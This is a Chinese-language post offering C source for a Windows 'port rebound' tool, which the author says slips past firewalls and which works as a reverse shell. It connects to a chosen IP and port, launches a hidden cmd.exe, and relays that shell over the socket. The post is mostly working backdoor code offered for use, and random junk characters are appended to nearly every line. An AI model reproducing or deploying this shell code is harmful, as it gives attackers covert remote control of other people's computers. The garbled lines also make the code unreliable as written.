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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 k9)jjR*XxG  
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/* ============================== =jSb'Vu|  
Rebound port in Windows NT A~Y^VEn  
By wind,2006/7 b}0,\B%  
===============================*/ 6;C3RU]  
#include :q=%1~Idla  
#include 1v,Us5s<"6  
aD=a,  
#pragma comment(lib,"wsock32.lib") /3;4#:Kkw  
7.C;NT  
void OutputShell(); *4_jA](  
SOCKET sClient; !vX D  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^ s1Q*He  
a-l; vDs  
void main(int argc,char **argv) *&?c(JU;<  
{ HU%o6cw  
WSADATA stWsaData; K/A*<<r ~  
int nRet; 8d?g]DEN)6  
SOCKADDR_IN stSaiClient,stSaiServer; q2. XoCf  
?z}=B  
if(argc != 3) hZh9uI7.  
{ n9@ of  
printf("Useage:\n\rRebound DestIP DestPort\n"); f~Fm4 >\(  
return; ,z3{u162  
} b|cyjDMAA  
20vXSYa~  
WSAStartup(MAKEWORD(2,2),&stWsaData); ]d,S749(s  
>2~+.WePu  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uvtF_P/  
u`y><w4i  
stSaiClient.sin_family = AF_INET; J\d3N7_d  
stSaiClient.sin_port = htons(0); %FXfqF9  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )ap_Z6  
+ ` s@  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #?q&r_@@  
{ \zieyE  
printf("Bind Socket Failed!\n"); 8#(Q_  
return; V+Cwzc^j  
} 7:9.&W/KE  
L!=4N!j  
stSaiServer.sin_family = AF_INET; _7IKzUn9g[  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); XEn*?.e  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _{R=B8Zz\  
'&.#  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) G"X8}:}  
{ R<sJ^nx  
printf("Connect Error!"); gN24M3{C  
return; f@8>HCI  
} Z-E`>  
OutputShell(); *GxTX3i}vc  
} 'a$Gv&fu  
hGd<<\  
void OutputShell() @) s,{F  
{ r`AuvwHPs[  
char szBuff[1024]; RE =`  
SECURITY_ATTRIBUTES stSecurityAttributes; 2kdC]|H2?  
OSVERSIONINFO stOsversionInfo; .mDM[e@'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /I)yU>o  
STARTUPINFO stStartupInfo; 9so6WIWc  
char *szShell; <Ard 7UT  
PROCESS_INFORMATION stProcessInformation; zunV<2~(2}  
unsigned long lBytesRead; B*4}GPQ  
x%+aKZ(m)  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1QmH{jM  
T.Ryy"%F  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); U>V&-kxtV  
stSecurityAttributes.lpSecurityDescriptor = 0; F#5B<I  
stSecurityAttributes.bInheritHandle = TRUE; 2P/K K  
c6nflk.l  
tj Gd )  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); k$H%.l;E  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); '~ ,p[  
%^I88,$&L  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]l'Y'z,}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G 16!eDMt  
stStartupInfo.wShowWindow = SW_HIDE; 6&bY}i^K  
stStartupInfo.hStdInput = hReadPipe; /%0<p,T  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %Eb%V($  
i/~1F_  
GetVersionEx(&stOsversionInfo); S}$r>[t  
ms!ref4`+  
switch(stOsversionInfo.dwPlatformId) *Ho/ZYj3  
{ (T!9SU  
case 1: BNd^qB ?  
szShell = "command.com"; kGd<5vCs  
break; iXj o[Rz^C  
default: OfctoPP _0  
szShell = "cmd.exe"; M7ers|&{  
break; 0PU8 #2pR  
} UlAzJO6"  
qZ}P*+`Q  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?;vgUO  
uL3Eq>~x  
send(sClient,szMsg,77,0); " R-!(9k^`  
while(1) io#&o;M<  
{ TjHwjRa  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nBHnkbKoy  
if(lBytesRead) UW9?p}F  
{ 3}@_hS"^8  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); H^.IY_I`U*  
send(sClient,szBuff,lBytesRead,0); 6oLwfTy  
} 0 ;b[QRmy  
else b&=5m  
{ 6KVn nK  
lBytesRead=recv(sClient,szBuff,1024,0); /ODXV`3QYI  
if(lBytesRead<=0) break; mp9{m`Jb*  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +)j1.X  
} h$.:Uj8/  
} 9lGOWRxR)  
N\HQN0d9  
return; tID%}Zv  
}
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